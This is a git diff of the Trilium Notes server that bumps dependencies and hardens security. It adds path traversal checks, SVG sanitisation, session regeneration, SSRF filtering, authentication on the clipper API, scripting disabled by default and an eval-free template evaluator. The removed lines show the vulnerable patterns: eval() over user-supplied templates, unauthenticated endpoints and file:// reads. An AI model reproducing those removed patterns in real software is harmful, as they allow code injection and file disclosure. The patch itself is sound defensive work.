"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.0",
"@electron-forge/cli": "7.11.1",
"@electron-forge/maker-deb": "7.11.1",
"@electron-forge/maker-dmg": "7.11.1",
@@ -45,6 +38,13 @@
"@electron-forge/maker-squirrel": "7.11.1",
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.8.5",
"prebuild-install": "7.1.3"
}
}

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/edit-docs",
"version": "0.102.1",
"version": "0.102.2",
"private": true,
"description": "Desktop version of Trilium which imports the demo database (presented to new users at start-up) or the user guide and other documentation and saves the modifications for committing.",
"dependencies": {
@@ -12,7 +12,7 @@
"@triliumnext/desktop": "workspace:*",
"@types/fs-extra": "11.0.4",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.0",
"electron": "41.1.1",
"fs-extra": "11.3.4"
},
"scripts": {

View File

@@ -6,6 +6,6 @@
"e2e": "playwright test"
},
"devDependencies": {
"dotenv": "17.3.1"
"dotenv": "17.4.0"
}
}

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/server",
"version": "0.102.1",
"version": "0.102.2",
"description": "The server-side component of TriliumNext, which exposes the client via the web, allows for sync and provides a REST API for both internal and external use.",
"private": true,
"main": "./src/main.ts",
@@ -79,8 +79,6 @@
"archiver": "7.0.1",
"async-mutex": "0.5.0",
"axios": "1.14.0",
"bindings": "1.5.0",
"bootstrap": "5.3.8",
"chardet": "2.1.1",
"cheerio": "1.2.0",
"chokidar": "5.0.0",
@@ -91,8 +89,7 @@
"debounce": "3.0.0",
"debug": "4.4.3",
"ejs": "5.0.1",
"electron": "41.1.0",
"electron-debug": "4.1.0",
"electron": "41.1.1",
"electron-window-state": "5.0.3",
"escape-html": "1.0.3",
"express": "5.2.1",
@@ -105,8 +102,8 @@
"helmet": "8.1.0",
"html": "1.0.0",
"html2plaintext": "2.1.4",
"http-proxy-agent": "8.0.0",
"https-proxy-agent": "8.0.0",
"http-proxy-agent": "9.0.0",
"https-proxy-agent": "9.0.0",
"i18next": "26.0.3",
"i18next-fs-backend": "2.6.3",
"image-type": "6.1.0",
@@ -114,7 +111,6 @@
"is-animated": "2.0.2",
"is-svg": "6.1.0",
"jimp": "1.6.0",
"lorem-ipsum": "2.0.8",
"marked": "17.0.5",
"mime-types": "3.0.2",
"multer": "2.1.1",
@@ -130,7 +126,6 @@
"strip-bom": "5.0.0",
"striptags": "3.2.0",
"supertest": "7.2.2",
"swagger-jsdoc": "6.2.8",
"tesseract.js": "7.0.0",
"time2fa": "1.4.2",
"tmp": "0.2.5",

View File

@@ -67,3 +67,13 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -343,7 +343,7 @@
"shortcuts-title": "Aicearraí",
"text-notes": "Nótaí Téacs",
"code-notes-title": "Nótaí Cód",
"images-title": "Íomhánna",
"images-title": "Meáin",
"spellcheck-title": "Seiceáil litrithe",
"password-title": "Pasfhocal",
"multi-factor-authentication-title": "MFA",

View File

@@ -67,6 +67,11 @@ function register(router: Router) {
eu.validateAndPatch(_params, req.body, ALLOWED_PROPERTIES_FOR_CREATE_NOTE);
const params = _params as NoteParams;
// Validate MIME type for image notes
if (params.type === "image" && params.mime && !params.mime.toLowerCase().startsWith("image/")) {
throw new eu.EtapiError(400, "INVALID_MIME_FOR_IMAGE", `MIME type '${params.mime}' is not allowed for image notes. MIME must start with 'image/'.`);
}
try {
const resp = noteService.createNewNote(params);
@@ -94,6 +99,14 @@ function register(router: Router) {
throw new eu.EtapiError(400, "NOTE_IS_PROTECTED", `Note '${req.params.noteId}' is protected and cannot be modified through ETAPI.`);
}
// Validate MIME type for image notes (check both current and new type/mime)
const effectiveType = req.body.type ?? note.type;
const effectiveMime = req.body.mime ?? note.mime;
const normalizedEffectiveMime = typeof effectiveMime === "string" ? effectiveMime.toLowerCase() : effectiveMime;
if (effectiveType === "image" && normalizedEffectiveMime && !normalizedEffectiveMime.startsWith("image/")) {
throw new eu.EtapiError(400, "INVALID_MIME_FOR_IMAGE", `MIME type '${effectiveMime}' is not allowed for image notes. MIME must start with 'image/'.`);
}
noteService.saveRevisionIfNeeded(note);
eu.validateAndPatch(note, req.body, ALLOWED_PROPERTIES_FOR_PATCH);
note.save();

View File

@@ -171,7 +171,8 @@ function setExpandedForSubtree(req: Request<{ branchId: string, expanded: string
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -1,6 +1,7 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -203,13 +204,36 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request<{ noteId: string }>) {
const noteId = req.params.noteId;
const { filePath } = req.body;
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
validateTemporaryFilePath(filePath);
const note = becca.getNoteOrThrow(noteId);
@@ -230,6 +254,8 @@ function uploadModifiedFileToAttachment(req: Request<{ attachmentId: string }>)
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
const attachment = becca.getAttachmentOrThrow(attachmentId);
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);

View File

@@ -10,6 +10,21 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -6,6 +6,7 @@ import type BNote from "../../becca/entities/bnote.js";
import type BRevision from "../../becca/entities/brevision.js";
import imageService from "../../services/image.js";
import { RESOURCE_DIR } from "../../services/resource_dir.js";
import { sanitizeSvg } from "../../services/utils.js";
function returnImageFromNote(req: Request<{ noteId: string }>, res: Response) {
const image = becca.getNote(req.params.noteId);
@@ -38,28 +39,33 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
} else {
res.set("Content-Type", image.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(image.getContent());
if (image.mime === "image/svg+xml") {
sendSanitizedSvg(res, image.getContent());
} else {
res.send(image.getContent());
}
}
}
export function renderSvgAttachment(image: BNote | BRevision, res: Response, attachmentName: string) {
let svg: string | Buffer = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
let svgContent: string | Buffer = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const attachment = image.getAttachmentByTitle(attachmentName);
if (attachment) {
svg = attachment.getContent();
svgContent = attachment.getContent();
} else {
// backwards compatibility, before attachments, the SVG was stored in the main note content as a separate key
const contentSvg = image.getJsonContentSafely()?.svg;
if (contentSvg) {
svg = contentSvg;
svgContent = contentSvg;
}
}
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
sendSanitizedSvg(res, svgContent);
}
export function renderPngAttachment(image: BNote | BRevision, res: Response, attachmentName: string) {
@@ -88,7 +94,12 @@ function returnAttachedImage(req: Request<{ attachmentId: string }>, res: Respon
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
if (attachment.mime === "image/svg+xml") {
sendSanitizedSvg(res, attachment.getContent());
} else {
res.send(attachment.getContent());
}
}
function updateImage(req: Request<{ noteId: string }>) {
@@ -129,3 +140,9 @@ export default {
returnAttachedImage,
updateImage
};
function sendSanitizedSvg(res: Response, content: string | Buffer) {
const svgString = typeof content === "string" ? content : content.toString("utf-8");
res.set("Content-Security-Policy", "script-src 'none'");
res.send(sanitizeSvg(svgString));
}

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
function loginSync(req: Request) {
async function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,6 +112,17 @@ function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -1,10 +1,16 @@
import { TextRepresentationResponse } from "@triliumnext/commons";
import type { OCRProcessResponse, TextRepresentationResponse } from "@triliumnext/commons";
import type { Request } from "express";
import becca from "../../becca/becca.js";
import ocrService from "../../services/ocr/ocr_service.js";
import options from "../../services/options.js";
import sql from "../../services/sql.js";
function getMinConfidenceThreshold(): number {
const minConfidence = options.getOption('ocrMinConfidence') ?? 0;
return parseFloat(minConfidence);
}
/**
* @swagger
* /api/ocr/process-note/{noteId}:
@@ -48,7 +54,7 @@ import sql from "../../services/sql.js";
* - session: []
* tags: ["ocr"]
*/
async function processNoteOCR(req: Request<{ noteId: string }>) {
async function processNoteOCR(req: Request<{ noteId: string }>): Promise<OCRProcessResponse | [number, OCRProcessResponse]> {
const { noteId } = req.params;
const { language, forceReprocess = false } = req.body || {};
@@ -62,7 +68,11 @@ async function processNoteOCR(req: Request<{ noteId: string }>) {
return [400, { success: false, message: 'Note is not an image or has unsupported format' }];
}
return { success: true, result };
return {
success: true,
result,
minConfidence: getMinConfidenceThreshold()
};
}
/**
@@ -108,7 +118,7 @@ async function processNoteOCR(req: Request<{ noteId: string }>) {
* - session: []
* tags: ["ocr"]
*/
async function processAttachmentOCR(req: Request<{ attachmentId: string }>) {
async function processAttachmentOCR(req: Request<{ attachmentId: string }>): Promise<OCRProcessResponse | [number, OCRProcessResponse]> {
const { attachmentId } = req.params;
const { language, forceReprocess = false } = req.body || {};
@@ -122,7 +132,11 @@ async function processAttachmentOCR(req: Request<{ attachmentId: string }>) {
return [400, { success: false, message: 'Attachment is not an image or has unsupported format' }];
}
return { success: true, result };
return {
success: true,
result,
minConfidence: getMinConfidenceThreshold()
};
}
/**

View File

@@ -113,17 +113,31 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"ocrMinConfidence"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
const optionMap = optionService.getOptionMap();
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isAllowed(optionName)) {
if (isReadable(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -158,7 +172,10 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
log.info(`Updating option '${name}' to '${value}'`);
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -196,13 +213,20 @@ function getSupportedLocales() {
return getLocales();
}
function isAllowed(name: string) {
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,

View File

@@ -8,6 +8,7 @@ import scriptService, { type Bundle } from "../../services/script.js";
import sql from "../../services/sql.js";
import syncService from "../../services/sync.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -23,6 +24,7 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -45,6 +47,7 @@ async function exec(req: Request) {
}
function run(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -69,6 +72,10 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -81,6 +88,10 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
}
@@ -89,6 +100,10 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request<{ noteId: string, relationName: string }>) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -118,6 +133,8 @@ function getRelationBundles(req: Request<{ noteId: string, relationName: string
}
function getBundle(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -4,6 +4,7 @@ import becca from "../../becca/becca.js";
import ValidationError from "../../errors/validation_error.js";
import sql from "../../services/sql.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -25,6 +26,7 @@ function getSchema() {
}
function execute(req: Request<{ noteId: string }>) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -3,6 +3,7 @@ import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
export const CSRF_COOKIE_NAME = "trilium-csrf";
@@ -16,7 +17,7 @@ const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: false,
secure: config.Network.https,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,9 +6,15 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -64,6 +70,14 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -15,7 +15,7 @@ import etapiSpecRoute from "../etapi/spec.js";
import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import appInfoRoute from "./api/app_info.js";
import attachmentsApiRoute from "./api/attachments.js";
@@ -259,7 +259,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -272,8 +272,10 @@ function register(app: express.Application) {
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);

View File

@@ -107,6 +107,8 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -6,7 +6,7 @@ import build from "./build.js";
import dataDir from "./data_dir.js";
const APP_DB_VERSION = 236;
const SYNC_VERSION = 37;
const SYNC_VERSION = 38;
const CLIPPER_PROTOCOL_VERSION = "1.0";
export default {

View File

@@ -72,9 +72,16 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

View File

@@ -6,6 +6,9 @@ import { randomString } from "./utils.js";
import eraseService from "./erase.js";
import type BNote from "../becca/entities/bnote.js";
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
import { evaluateTemplate } from "./safe_template.js";
import { executeBundle } from "./script.js";
import { assertScriptingEnabled } from "./scripting_guard.js";
type ActionHandler<T> = (action: T, note: BNote) => void;
@@ -44,9 +47,8 @@ const ACTION_HANDLERS: ActionHandlerMap = {
},
renameNote: (action, note) => {
// "officially" injected value:
// - note
const newTitle = eval(`\`${action.newTitle}\``);
// - note (the note being renamed)
const newTitle = evaluateTemplate(action.newTitle, { note });
if (note.title !== newTitle) {
note.title = newTitle;
@@ -105,15 +107,26 @@ const ACTION_HANDLERS: ActionHandlerMap = {
}
},
executeScript: (action, note) => {
assertScriptingEnabled();
if (!action.script || !action.script.trim()) {
log.info("Ignoring executeScript since the script is empty.");
return;
}
const scriptFunc = new Function("note", action.script);
scriptFunc(note);
// Route through the script service's executeBundle instead of raw
// new Function() to get proper CLS context, logging, and error handling.
// The preamble provides access to `note` and `api` as the UI documents.
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
`const note = apiContext.notes["${noteId}"];\n`;
const scriptBody = `${preamble}${action.script}\nnote.save();`;
note.save();
executeBundle({
note: note,
script: scriptBody,
html: "",
allNotes: [note]
});
}
} as const;

View File

@@ -136,7 +136,14 @@ export interface TriliumConfig {
* log files created by Trilium older than the specified amount of time will be deleted.
*/
retentionDays: number;
}
};
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
}
/**
@@ -458,6 +465,21 @@ const configMapping = {
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
}
},
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
};
@@ -511,9 +533,19 @@ const config: TriliumConfig = {
},
Logging: {
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
},
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
};
// Desktop builds always have scripting enabled (single-user trusted environment)
if (process.versions["electron"]) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
/**
* =====================================================================
* ENVIRONMENT VARIABLE REFERENCE

View File

@@ -12,11 +12,12 @@ import log from "./log.js";
import type BNote from "../becca/entities/bnote.js";
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
import { isScriptingEnabled } from "./scripting_guard.js";
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note) {
if (!note || !isScriptingEnabled()) {
return;
}

View File

@@ -51,8 +51,7 @@ async function importZip(taskContext: TaskContext<"importNotes">, fileBuffer: Bu
return "empty_note_id";
}
if (origNoteId === "root" || origNoteId.startsWith("_") || opts?.preserveIds) {
// these "named" noteIds don't differ between Trilium instances
if (origNoteId === "root" || opts?.preserveIds) {
return origNoteId;
}

View File

@@ -25,8 +25,10 @@ import type { NoteParams } from "./note-interface.js";
import optionService from "./options.js";
import request from "./request.js";
import revisionService from "./revisions.js";
import { evaluateTemplateSafe } from "./safe_template.js";
import sql from "./sql.js";
import type TaskContext from "./task_context.js";
import { isSafeUrlForFetch } from "./url_validator.js";
import ws from "./ws.js";
interface FoundLink {
@@ -119,17 +121,17 @@ function getNewNoteTitle(parentNote: BNote) {
const titleTemplate = parentNote.getLabelValue("titleTemplate");
if (titleTemplate !== null) {
try {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
const now = dayjs(cls.getLocalNowDateTime() || new Date());
// "officially" injected values:
// - now
// - parentNote
title = eval(`\`${titleTemplate}\``);
} catch (e: any) {
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
}
// "officially" injected values:
// - now
// - parentNote
title = evaluateTemplateSafe(
titleTemplate,
{ now, parentNote },
title,
`titleTemplate of note '${parentNote.noteId}'`
);
}
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
@@ -503,24 +505,14 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
async function downloadImage(noteId: string, imageUrl: string) {
const unescapedUrl = unescapeHtml(imageUrl);
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
if (!isSafeUrlForFetch(unescapedUrl)) {
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
return;
}
try {
let imageBuffer: Buffer;
if (imageUrl.toLowerCase().startsWith("file://")) {
imageBuffer = await new Promise((res, rej) => {
const localFilePath = imageUrl.substring("file://".length);
return fs.readFile(localFilePath, (err, data) => {
if (err) {
rej(err);
} else {
res(data);
}
});
});
} else {
imageBuffer = await request.getImage(unescapedUrl);
}
const imageBuffer = await request.getImage(unescapedUrl);
const parsedUrl = url.parse(unescapedUrl);
const title = path.basename(parsedUrl.pathname || "");

View File

@@ -1,14 +1,14 @@
import type { NextFunction, Request, Response } from "express";
import openIDEncryption from "./encryption/open_id_encryption.js";
import sqlInit from "./sql_init.js";
import options from "./options.js";
import type { Session } from "express-openid-connect";
import sql from "./sql.js";
import config from "./config.js";
import config from "./config.js";
import openIDEncryption from "./encryption/open_id_encryption.js";
import options from "./options.js";
import sql from "./sql.js";
import sqlInit from "./sql_init.js";
function checkOpenIDConfig() {
const missingVars: string[] = []
const missingVars: string[] = [];
if (config.MultiFactorAuthentication.oauthBaseUrl === "") {
missingVars.push("oauthBaseUrl");
}
@@ -27,7 +27,7 @@ function isOpenIDEnabled() {
function isUserSaved() {
const data = sql.getValue<string>("SELECT isSetup FROM user_data;");
return data === "true" ? true : false;
return data === "true";
}
function getUsername() {
@@ -59,34 +59,31 @@ function getOAuthStatus() {
};
}
function isTokenValid(req: Request, res: Response, next: NextFunction) {
async function isTokenValid(req: Request, res: Response, next: NextFunction) {
const userStatus = openIDEncryption.isSubjectIdentifierSaved();
if (req.oidc !== undefined) {
const result = req.oidc
.fetchUserInfo()
.then((result) => {
return {
success: true,
message: "Token is valid",
user: userStatus,
};
})
.catch((result) => {
return {
success: false,
message: "Token is not valid",
user: userStatus,
};
});
return result;
} else {
return {
success: false,
message: "Token not set up",
user: userStatus,
};
try {
await req.oidc.fetchUserInfo();
return {
success: true,
message: "Token is valid",
user: userStatus,
};
} catch {
return {
success: false,
message: "Token is not valid",
user: userStatus,
};
}
}
return {
success: false,
message: "Token not set up",
user: userStatus,
};
}
function getSSOIssuerName() {
@@ -121,11 +118,10 @@ function generateOAuthConfig() {
scope: "openid profile email",
access_type: "offline",
prompt: "consent",
state: "random_state_" + Math.random().toString(36).substring(2)
},
routes: authRoutes,
idpLogout: true,
logoutParams: logoutParams,
logoutParams,
afterCallback: async (req: Request, res: Response, session: Session) => {
if (!sqlInit.isDbInitialized()) return session;

View File

@@ -0,0 +1,188 @@
/**
* Safe template evaluator that replaces eval()-based template string interpolation.
*
* Supports only a controlled set of operations within ${...} expressions:
* - Property access chains: `obj.prop.subprop`
* - Method calls with a single string literal argument: `obj.method('arg')`
* - Chained combinations: `obj.prop.method('arg')`
*
* This prevents arbitrary code execution while supporting the documented
* titleTemplate and bulk rename use cases:
* - ${now.format('YYYY-MM-DD')}
* - ${parentNote.title}
* - ${parentNote.getLabelValue('authorName')}
* - ${note.title}
* - ${note.dateCreatedObj.format('MM-DD')}
*/
import log from "./log.js";
/** Allowed method names that can be called on template variables. */
const ALLOWED_METHODS = new Set([
"format",
"getLabelValue",
"getLabel",
"getLabelValues",
"getRelationValue",
"getAttributeValue"
]);
/** Allowed property names that can be accessed on template variables. */
const ALLOWED_PROPERTIES = new Set([
"title",
"type",
"mime",
"noteId",
"dateCreated",
"dateModified",
"utcDateCreated",
"utcDateModified",
"dateCreatedObj",
"utcDateCreatedObj",
"isProtected",
"content"
]);
interface TemplateVariables {
[key: string]: unknown;
}
/**
* Evaluates a template string safely without using eval().
*
* Template strings can contain ${...} expressions which are evaluated
